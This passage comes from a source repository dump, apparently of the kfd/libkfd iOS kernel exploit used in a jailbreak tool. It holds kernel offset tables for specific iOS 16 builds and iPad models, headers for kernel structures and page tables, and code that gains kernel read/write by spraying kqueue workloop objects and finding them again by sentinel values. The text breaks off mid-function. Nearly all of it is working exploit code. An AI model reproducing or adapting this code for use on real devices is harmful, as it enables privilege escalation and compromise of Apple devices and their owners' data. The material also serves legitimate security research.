0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,12\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,12\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n};\n\n#endif /* dynamic_info_h */\n\n\n"
  },
  {
    "path": "usprebooter/libkfd/info/static_info.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef static_info_h\n#define static_info_h\n#include <TargetConditionals.h>\n\n#define pages(number_of_pages) ((number_of_pages) * (16384ull))\n\nsigned long long t1sz_boot = 25ull;\nsigned long long base_pac_mask = 0xffffff8000000000;\n#define ptr_mask ((1ull << (64ull - t1sz_boot)) - 1ull)\n#define pac_mask (~ptr_mask)\n#define unsign_kaddr(kaddr) ((kaddr) | (pac_mask))\n\nconst u64 msg_ool_size_small = (32 * 1024);\n\n#define GUARD_REQUIRED (1u << 1)\n\nstruct psemnode {\n    u64 pinfo;\n    u64 padding;\n};\n\nstruct fileproc {\n    u32 fp_iocount;\n    u32 fp_vflags;\n    u16 fp_flags;\n    u16 fp_guard_attrs;\n    u64 fp_glob;\n    union {\n        u64 fp_wset;\n        u64 fp_guard;\n    };\n};\n\n/*\n * kqueue stuff\n */\n\n#define KQ_WORKLOOP_CREATE     0x01\n#define KQ_WORKLOOP_DESTROY    0x02\n\n#define KQ_WORKLOOP_CREATE_SCHED_PRI      0x01\n#define KQ_WORKLOOP_CREATE_SCHED_POL      0x02\n#define KQ_WORKLOOP_CREATE_CPU_PERCENT    0x04\n\nstruct kqueue_workloop_params {\n    i32 kqwlp_version;\n    i32 kqwlp_flags;\n    u64 kqwlp_id;\n    i32 kqwlp_sched_pri;\n    i32 kqwlp_sched_pol;\n    i32 kqwlp_cpu_percent;\n    i32 kqwlp_cpu_refillms;\n} __attribute__((packed));\n\n__options_decl(kq_state_t, u16, {\n    KQ_SLEEP         = 0x0002,\n    KQ_PROCWAIT      = 0x0004,\n    KQ_KEV32         = 0x0008,\n    KQ_KEV64         = 0x0010,\n    KQ_KEV_QOS       = 0x0020,\n    KQ_WORKQ         = 0x0040,\n    KQ_WORKLOOP      = 0x0080,\n    KQ_PROCESSING    = 0x0100,\n    KQ_DRAIN         = 0x0200,\n    KQ_DYNAMIC       = 0x0800,\n    KQ_R2K_ARMED     = 0x1000,\n    KQ_HAS_TURNSTILE = 0x2000,\n});\n\n/*\n * proc_info stuff\n */\n\n#define PROC_INFO_CALL_LISTPIDS             0x1\n#define PROC_INFO_CALL_PIDINFO              0x2\n#define PROC_INFO_CALL_PIDFDINFO            0x3\n#define PROC_INFO_CALL_KERNMSGBUF           0x4\n#define PROC_INFO_CALL_SETCONTROL           0x5\n#define PROC_INFO_CALL_PIDFILEPORTINFO      0x6\n#define PROC_INFO_CALL_TERMINATE            0x7\n#define PROC_INFO_CALL_DIRTYCONTROL         0x8\n#define PROC_INFO_CALL_PIDRUSAGE            0x9\n#define PROC_INFO_CALL_PIDORIGINATORINFO    0xa\n#define PROC_INFO_CALL_LISTCOALITIONS       0xb\n#define PROC_INFO_CALL_CANUSEFGHW           0xc\n#define PROC_INFO_CALL_PIDDYNKQUEUEINFO     0xd\n#define PROC_INFO_CALL_UDATA_INFO           0xe\n#define PROC_INFO_CALL_SET_DYLD_IMAGES      0xf\n#define PROC_INFO_CALL_TERMINATE_RSR        0x10\n\nstruct vinfo_stat {\n    u32 vst_dev;\n    u16 vst_mode;\n    u16 vst_nlink;\n    u64 vst_ino;\n    u32 vst_uid;\n    u32 vst_gid;\n    i64 vst_atime;\n    i64 vst_atimensec;\n    i64 vst_mtime;\n    i64 vst_mtimensec;\n    i64 vst_ctime;\n    i64 vst_ctimensec;\n    i64 vst_birthtime;\n    i64 vst_birthtimensec;\n    i64 vst_size;\n    i64 vst_blocks;\n    i32 vst_blksize;\n    u32 vst_flags;\n    u32 vst_gen;\n    u32 vst_rdev;\n    i64 vst_qspare[2];\n};\n\n#define PROC_PIDFDVNODEINFO         1\n#define PROC_PIDFDVNODEPATHINFO     2\n#define PROC_PIDFDSOCKETINFO        3\n#define PROC_PIDFDPSEMINFO          4\n#define PROC_PIDFDPSHMINFO          5\n#define PROC_PIDFDPIPEINFO          6\n#define PROC_PIDFDKQUEUEINFO        7\n#define PROC_PIDFDATALKINFO         8\n#define PROC_PIDFDKQUEUE_EXTINFO    9\n#define PROC_PIDFDCHANNELINFO       10\n\nstruct proc_fileinfo {\n    u32 fi_openflags;\n    u32 fi_status;\n    i64 fi_offset;\n    i32 fi_type;\n    u32 fi_guardflags;\n};\n\nstruct psem_info {\n    struct vinfo_stat psem_stat;\n    char psem_name[1024];\n};\n\nstruct psem_fdinfo {\n    struct proc_fileinfo pfi;\n    struct psem_info pseminfo;\n};\n\n#define PROC_PIDDYNKQUEUE_INFO       0\n#define PROC_PIDDYNKQUEUE_EXTINFO    1\n\nstruct kqueue_info {\n    struct vinfo_stat kq_stat;\n    u32 kq_state;\n    u32 rfu_1;\n};\n\nstruct kqueue_dyninfo {\n    struct kqueue_info kqdi_info;\n    u64 kqdi_servicer;\n    u64 kqdi_owner;\n    u32 kqdi_sync_waiters;\n    u8 kqdi_sync_waiter_qos;\n    u8 kqdi_async_qos;\n    u16 kqdi_request_state;\n    u8 kqdi_events_qos;\n    u8 kqdi_pri;\n    u8 kqdi_pol;\n    u8 kqdi_cpupercent;\n    u8 _kqdi_reserved0[4];\n    u64 _kqdi_reserved1[4];\n};\n\n/*\n * perfmon stuff\n */\n\n#define PERFMON_SPEC_MAX_ATTR_COUNT (32)\n\nstruct perfmon_layout {\n    u16 pl_counter_count;\n    u16 pl_fixed_offset;\n    u16 pl_fixed_count;\n    u16 pl_unit_count;\n    u16 pl_reg_count;\n    u16 pl_attr_count;\n};\n\ntypedef char perfmon_name_t[16];\n\nstruct perfmon_event {\n    char pe_name[32];\n    u64 pe_number;\n    u16 pe_counter;\n};\n\nstruct perfmon_attr {\n    perfmon_name_t pa_name;\n    u64 pa_value;\n};\n\nstruct perfmon_spec {\n    struct perfmon_event* ps_events;\n    struct perfmon_attr* ps_attrs;\n    u16 ps_event_count;\n    u16 ps_attr_count;\n};\n\nenum perfmon_kind {\n    perfmon_cpmu,\n    perfmon_upmu,\n    perfmon_kind_max,\n};\n\nstruct perfmon_source {\n    const char* ps_name;\n    const perfmon_name_t* ps_register_names;\n    const perfmon_name_t* ps_attribute_names;\n    struct perfmon_layout ps_layout;\n    enum perfmon_kind ps_kind;\n    bool ps_supported;\n};\n\nstruct perfmon_counter {\n    u64 pc_number;\n};\n\nstruct perfmon_config {\n    struct perfmon_source* pc_source;\n    struct perfmon_spec pc_spec;\n    u16 pc_attr_ids[PERFMON_SPEC_MAX_ATTR_COUNT];\n    struct perfmon_counter* pc_counters;\n    u64 pc_counters_used;\n    u64 pc_attrs_used;\n    bool pc_configured:1;\n};\n\nstruct perfmon_device {\n    void* pmdv_copyout_buf;\n    u64 pmdv_mutex[2];\n    struct perfmon_config* pmdv_config;\n    bool pmdv_allocated;\n};\n\nenum perfmon_ioctl {\n    PERFMON_CTL_ADD_EVENT = _IOWR('P', 5, struct perfmon_event),\n    PERFMON_CTL_SPECIFY = _IOWR('P', 10, struct perfmon_spec),\n};\n\n/*\n * pmap stuff\n */\n\n#define AP_RWNA   (0x0ull << 6)\n#define AP_RWRW   (0x1ull << 6)\n#define AP_RONA   (0x2ull << 6)\n#define AP_RORO   (0x3ull << 6)\n\n#define ARM_PTE_TYPE              0x0000000000000003ull\n#define ARM_PTE_TYPE_VALID        0x0000000000000003ull\n#define ARM_PTE_TYPE_MASK         0x0000000000000002ull\n#define ARM_TTE_TYPE_L3BLOCK      0x0000000000000002ull\n#define ARM_PTE_ATTRINDX          0x000000000000001cull\n#define ARM_PTE_NS                0x0000000000000020ull\n#define ARM_PTE_AP                0x00000000000000c0ull\n#define ARM_PTE_SH                0x0000000000000300ull\n#define ARM_PTE_AF                0x0000000000000400ull\n#define ARM_PTE_NG                0x0000000000000800ull\n#define ARM_PTE_ZERO1             0x000f000000000000ull\n#define ARM_PTE_HINT              0x0010000000000000ull\n#define ARM_PTE_PNX               0x0020000000000000ull\n#define ARM_PTE_NX                0x0040000000000000ull\n#define ARM_PTE_ZERO2             0x0380000000000000ull\n#define ARM_PTE_WIRED             0x0400000000000000ull\n#define ARM_PTE_WRITEABLE         0x0800000000000000ull\n#define ARM_PTE_ZERO3             0x3000000000000000ull\n#define ARM_PTE_COMPRESSED_ALT    0x4000000000000000ull\n#define ARM_PTE_COMPRESSED        0x8000000000000000ull\n\n#define ARM_TTE_VALID         0x0000000000000001ull\n#define ARM_TTE_TYPE_MASK     0x0000000000000002ull\n#define ARM_TTE_TYPE_TABLE    0x0000000000000002ull\n#define ARM_TTE_TYPE_BLOCK    0x0000000000000000ull\n#define ARM_TTE_TABLE_MASK    0x0000fffffffff000ull\n#define ARM_TTE_PA_MASK       0x0000fffffffff000ull\n\n#define PMAP_TT_L0_LEVEL    0x0\n#define PMAP_TT_L1_LEVEL    0x1\n#define PMAP_TT_L2_LEVEL    0x2\n#define PMAP_TT_L3_LEVEL    0x3\n\n#define ARM_16K_TT_L0_SIZE          0x0000800000000000ull\n#define ARM_16K_TT_L0_OFFMASK       0x00007fffffffffffull\n#define ARM_16K_TT_L0_SHIFT         47\n#define ARM_16K_TT_L0_INDEX_MASK    0x0000800000000000ull\n\n#define ARM_16K_TT_L1_SIZE          0x0000001000000000ull\n#define ARM_16K_TT_L1_OFFMASK       0x0000000fffffffffull\n#define ARM_16K_TT_L1_SHIFT         36\n#define ARM_16K_TT_L1_INDEX_MASK    0x00007ff000000000ull\n\n#define ARM_16K_TT_L2_SIZE          0x0000000002000000ull\n#define ARM_16K_TT_L2_OFFMASK       0x0000000001ffffffull\n#define ARM_16K_TT_L2_SHIFT         25\n#define ARM_16K_TT_L2_INDEX_MASK    0x0000000ffe000000ull\n\n#define ARM_16K_TT_L3_SIZE          0x0000000000004000ull\n#define ARM_16K_TT_L3_OFFMASK       0x0000000000003fffull\n#define ARM_16K_TT_L3_SHIFT         14\n#define ARM_16K_TT_L3_INDEX_MASK    0x0000000001ffc000ull\n\n#endif /* static_info_h */\n"
  },
  {
    "path": "usprebooter/libkfd/info.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef info_h\n#define info_h\n\n#include \"info/dynamic_info.h\"\n#include \"info/static_info.h\"\n#include \"common.h\"\n\n#ifndef __OBJC__\n#include <CoreFoundation/CoreFoundation.h>\nvoid NSLog(CFStringRef, ...);\n#endif\n\n/*\n * Note that these macros assume that the kfd pointer is in scope.\n */\n#define kfd_offset(field_name) (kern_versions[kfd->info.env.vid].field_name)\n\n#define kget_u64(field_name, object_kaddr)                                        \\\n    ({                                                                            \\\n        u64 tmp_buffer = 0;                                                       \\\n        u64 field_kaddr = (u64)(object_kaddr) + kfd_offset(field_name);           \\\n        kread((u64)(kfd), (field_kaddr), (&tmp_buffer), (sizeof(tmp_buffer)));    \\\n        tmp_buffer;                                                               \\\n    })\n\n#define kset_u64(field_name, new_value, object_kaddr)                              \\\n    do {                                                                           \\\n        u64 tmp_buffer = new_value;                                                \\\n        u64 field_kaddr = (u64)(object_kaddr) + kfd_offset(field_name);            \\\n        kwrite((u64)(kfd), (&tmp_buffer), (field_kaddr), (sizeof(tmp_buffer)));    \\\n    } while (0)\n\n#define uget_u64(field_name, object_uaddr)                                 \\\n    ({                                                                     \\\n        u64 field_uaddr = (u64)(object_uaddr) + kfd_offset(field_name);    \\\n        u64 old_value = *(volatile u64*)(field_uaddr);                     \\\n        old_value;                                                         \\\n    })\n\n#define uset_u64(field_name, new_value, object_uaddr)                      \\\n    do {                                                                   \\\n        u64 field_uaddr = (u64)(object_uaddr) + kfd_offset(field_name);    \\\n        *(volatile u64*)(field_uaddr) = (u64)(new_value);                  \\\n    } while (0)\n\nconst char info_copy_sentinel[] = \"p0up0u was here\";\nconst u64 info_copy_sentinel_size = sizeof(info_copy_sentinel);\n\nvoid info_init(struct kfd* kfd)\n{\n    /*\n     * Initialize the kfd->info.copy substructure.\n     *\n     * Note that the vm_copy() call in krkw_helper_grab_free_pages() makes the following assumptions:\n     * - The size of the copy must be strictly greater than msg_ool_size_small.\n     * - The source object must have a copy strategy of MEMORY_OBJECT_COPY_NONE.\n     * - The destination object must have a copy strategy of MEMORY_OBJECT_COPY_SYMMETRIC.\n     */\n    kfd->info.copy.size = pages(4);\n    assert(kfd->info.copy.size > msg_ool_size_small);\n    assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.src_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE | VM_FLAGS_PURGABLE));\n    assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.dst_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE));\n    for (u64 offset = pages(0); offset < kfd->info.copy.size; offset += pages(1)) {\n        bcopy(info_copy_sentinel, (void*)(kfd->info.copy.src_uaddr + offset), info_copy_sentinel_size);\n        bcopy(info_copy_sentinel, (void*)(kfd->info.copy.dst_uaddr + offset), info_copy_sentinel_size);\n    }\n\n    /*\n     * Initialize the kfd->info.env substructure.\n     */\n    kfd->info.env.pid = getpid();\n    print_i32(kfd->info.env.pid);\n\n    thread_identifier_info_data_t data = {};\n    thread_info_t info = (thread_info_t)(&data);\n    mach_msg_type_number_t count = THREAD_IDENTIFIER_INFO_COUNT;\n    assert_mach(thread_info(mach_thread_self(), THREAD_IDENTIFIER_INFO, info, &count));\n    kfd->info.env.tid = data.thread_id;\n    print_u64(kfd->info.env.tid);\n\n    usize size1 = sizeof(kfd->info.env.maxfilesperproc);\n    assert_bsd(sysctlbyname(\"kern.maxfilesperproc\", &kfd->info.env.maxfilesperproc, &size1, NULL, 0));\n    print_u64(kfd->info.env.maxfilesperproc);\n\n    struct rlimit rlim = { .rlim_cur = kfd->info.env.maxfilesperproc, .rlim_max = kfd->info.env.maxfilesperproc };\n    assert_bsd(setrlimit(RLIMIT_NOFILE, &rlim));\n\n    usize size2 = sizeof(kfd->info.env.kern_version);\n    assert_bsd(sysctlbyname(\"kern.version\", &kfd->info.env.kern_version, &size2, NULL, 0));\n    print_string(kfd->info.env.kern_version);\n\n    /*\n     * Initialize the kfd->info.env.build_version substructure.\n     */\n    usize size3 = sizeof(kfd->info.env.build_version);\n        assert_bsd(sysctlbyname(\"kern.osversion\", &kfd->info.env.build_version, &size3, NULL, 0));\n        print_string(kfd->info.env.build_version);\n\n        NSLog(CFSTR(\"kern.osversion: %s\"), kfd->info.env.build_version);\n    \n    usize size4 = sizeof(kfd->info.env.device_id);\n        assert_bsd(sysctlbyname(\"hw.machine\", &kfd->info.env.device_id, &size4, NULL, 0));\n        print_string(kfd->info.env.device_id);\n    \n    NSLog(CFSTR(\"Device ID: %s\"), kfd->info.env.device_id);\n\n    const u64 number_of_kern_versions = sizeof(kern_versions) / sizeof(kern_versions[0]);\n    NSLog(CFSTR(\"number_of_kern_version: %llu\"), number_of_kern_versions);\n       for (u64 i = 0; i < number_of_kern_versions; i++) {\n           const char* current_kern_version = kern_versions[i].kern_version;\n           const char* current_build_version = kern_versions[i].build_version;\n           const char* current_device_id = kern_versions[i].device_id;\n           // NSLog(CFSTR(\"Placed at: %llu  \"), i); /* Too much spam! */\n\n           if (strcmp(kfd->info.env.kern_version, current_kern_version) == 0 &&\n               strcmp(kfd->info.env.build_version, current_build_version) == 0 &&\n               strcmp(kfd->info.env.device_id, current_device_id) == 0) {\n               NSLog(CFSTR(\"Checking done, totally fine! (Placed at %llu)\"), i);\n               kfd->info.env.vid = i;\n               print_u64(kfd->info.env.vid);\n               t1sz_boot = strstr(current_kern_version, \"T8120\") != NULL ? 17ull : 25ull;\n               base_pac_mask = 0xffffff8000000000;\n               if (strstr(current_device_id, \"iPad\") != NULL) {\n                   const char *stringList[] = {\"T8103\", \"T8101\", \"T8112\", \"T8030\", \"T8020\", \"T8110\"};\n                   for (int i = 0; i < sizeof(stringList) / sizeof(stringList[0]); i++) {\n                       if (strstr(current_kern_version, stringList[i]) != NULL) {\n                           t1sz_boot = 17ull;\n                           base_pac_mask =  0xffff800000000000;\n                           break;\n                       }\n                   }\n               }\n               return;\n           }\n       }\n\n       assert_false(\"unsupported osversion\");\n   }\n\nvoid info_run(struct kfd* kfd)\n{\n//    timer_start();\n    \n//    puts(\"info running\");\n\n    /*\n     * current_proc() and current_task()\n     */\n    assert(kfd->info.kaddr.current_proc);\n    kfd->info.kaddr.current_task = kfd->info.kaddr.current_proc + kfd_offset(proc__object_size);\n    print_x64(kfd->info.kaddr.current_proc);\n    print_x64(kfd->info.kaddr.current_task);\n\n    /*\n     * current_map()\n     */\n    u64 signed_map_kaddr = kget_u64(task__map, kfd->info.kaddr.current_task);\n    kfd->info.kaddr.current_map = unsign_kaddr(signed_map_kaddr);\n    print_x64(kfd->info.kaddr.current_map);\n\n    /*\n     * current_pmap()\n     */\n    u64 signed_pmap_kaddr = kget_u64(_vm_map__pmap, kfd->info.kaddr.current_map);\n    kfd->info.kaddr.current_pmap = unsign_kaddr(signed_pmap_kaddr);\n    print_x64(kfd->info.kaddr.current_pmap);\n\n    if (kfd->info.kaddr.kernel_proc) {\n        /*\n         * kernel_proc() and kernel_task()\n         */\n        kfd->info.kaddr.kernel_task = kfd->info.kaddr.kernel_proc + kfd_offset(proc__object_size);\n        print_x64(kfd->info.kaddr.kernel_proc);\n        print_x64(kfd->info.kaddr.kernel_task);\n\n        /*\n         * kernel_map()\n         */\n        u64 signed_map_kaddr = kget_u64(task__map, kfd->info.kaddr.kernel_task);\n        kfd->info.kaddr.kernel_map = unsign_kaddr(signed_map_kaddr);\n        print_x64(kfd->info.kaddr.kernel_map);\n\n        /*\n         * kernel_pmap()\n         */\n        u64 signed_pmap_kaddr = kget_u64(_vm_map__pmap, kfd->info.kaddr.kernel_map);\n        kfd->info.kaddr.kernel_pmap = unsign_kaddr(signed_pmap_kaddr);\n        print_x64(kfd->info.kaddr.kernel_pmap);\n    }\n\n//    timer_end();\n}\n\nvoid info_free(struct kfd* kfd)\n{\n    assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size));\n    assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.dst_uaddr, kfd->info.copy.size));\n}\n\n#endif /* info_h */\n"
  },
  {
    "path": "usprebooter/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef kread_kqueue_workloop_ctl_h\n#define kread_kqueue_workloop_ctl_h\n\nconst u64 kread_kqueue_workloop_ctl_sentinel = 0x1122334455667788;\n\nu64 kread_kqueue_workloop_ctl_kread_u64(struct kfd* kfd, u64 kaddr);\n\nvoid kread_kqueue_workloop_ctl_init(struct kfd* kfd)\n{\n    kfd->kread.krkw_maximum_id = 100000;\n    kfd->kread.krkw_object_size = kfd_offset(kqworkloop__object_size);\n}\n\nvoid kread_kqueue_workloop_ctl_allocate(struct kfd* kfd, u64 id)\n{\n    struct kqueue_workloop_params params = {\n        .kqwlp_version = (i32)(sizeof(params)),\n        .kqwlp_flags = KQ_WORKLOOP_CREATE_SCHED_PRI,\n        .kqwlp_id = id + kread_kqueue_workloop_ctl_sentinel,\n        .kqwlp_sched_pri = 1,\n    };\n\n    u64 cmd = KQ_WORKLOOP_CREATE;\n    u64 options = 0;\n    u64 addr = (u64)(&params);\n    usize sz = (usize)(params.kqwlp_version);\n    assert_bsd(syscall(SYS_kqueue_workloop_ctl, cmd, options, addr, sz));\n}\n\nbool kread_kqueue_workloop_ctl_search(struct kfd* kfd, u64 object_uaddr)\n{\n    u64 sentinel_min = kread_kqueue_workloop_ctl_sentinel;\n    u64 sentinel_max = sentinel_min + kfd->kread.krkw_allocated_id;\n\n    u16 kqwl_state = uget_u64(kqworkloop__kqwl_state, object_uaddr);\n    u64 kqwl_dynamicid = uget_u64(kqworkloop__kqwl_dynamicid, object_uaddr);\n\n    if ((kqwl_state == (KQ_KEV_QOS | KQ_WORKLOOP | KQ_DYNAMIC)) &&\n        (kqwl_dynamicid >= sentinel_min) &&\n        (kqwl_dynamicid < sentinel_max)) {\n        u64 object_id = kqwl_dynamicid - sentinel_min;\n        kfd->kread.krkw_object_id = object_id;\n        return true;\n    }\n\n    return false;\n}\n\nvoid kread_kqueue_workloop_ctl_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size)\n{\n    kread_from_method(u64, kread_kqueue_workloop_ctl_kread_u64);\n}\n\nvoid kread_kqueue_workloop_ctl_find_proc(struct kfd* kfd)\n{\n    u64 kqworkloop_uaddr = kfd->kread.krkw_object_uaddr;\n    kfd->info.kaddr.current_proc = uget_u64(kqworkloop__kqwl_p, kqworkloop_uaddr);\n}\n\nvoid kread_kqueue_workloop_ctl_deallocate(struct kfd* kfd, u64 id)\n{\n    struct kqueue_workloop_params params = {\n        .kqwlp_version = (i32)(sizeof(params)),\n        .kqwlp_id = id + kread_kqueue_workloop_ctl_sentinel,\n    };\n\n    u64 cmd = KQ_WORKLOOP_DESTROY;\n    u64 options = 0;\n    u64 addr = (u64)(&params);\n    usize sz = (usize)(params.kqwlp_version);\n    assert_bsd(syscall(SYS_kqueue_workloop_ctl, cmd, options, addr, sz));\n}\n\nvoid kread_kqueue_workloop_ctl_free(struct kfd* kfd)\n{\n    kread_kqueue_workloop_ctl_deallocate(kfd, kfd->kread.krkw_object_id);\n}\n\n/*\n * 64-bit kread function.\n */\n\nu64 kread_kqueue_workloop_ctl_kread_u64(struct kfd* kfd, u64 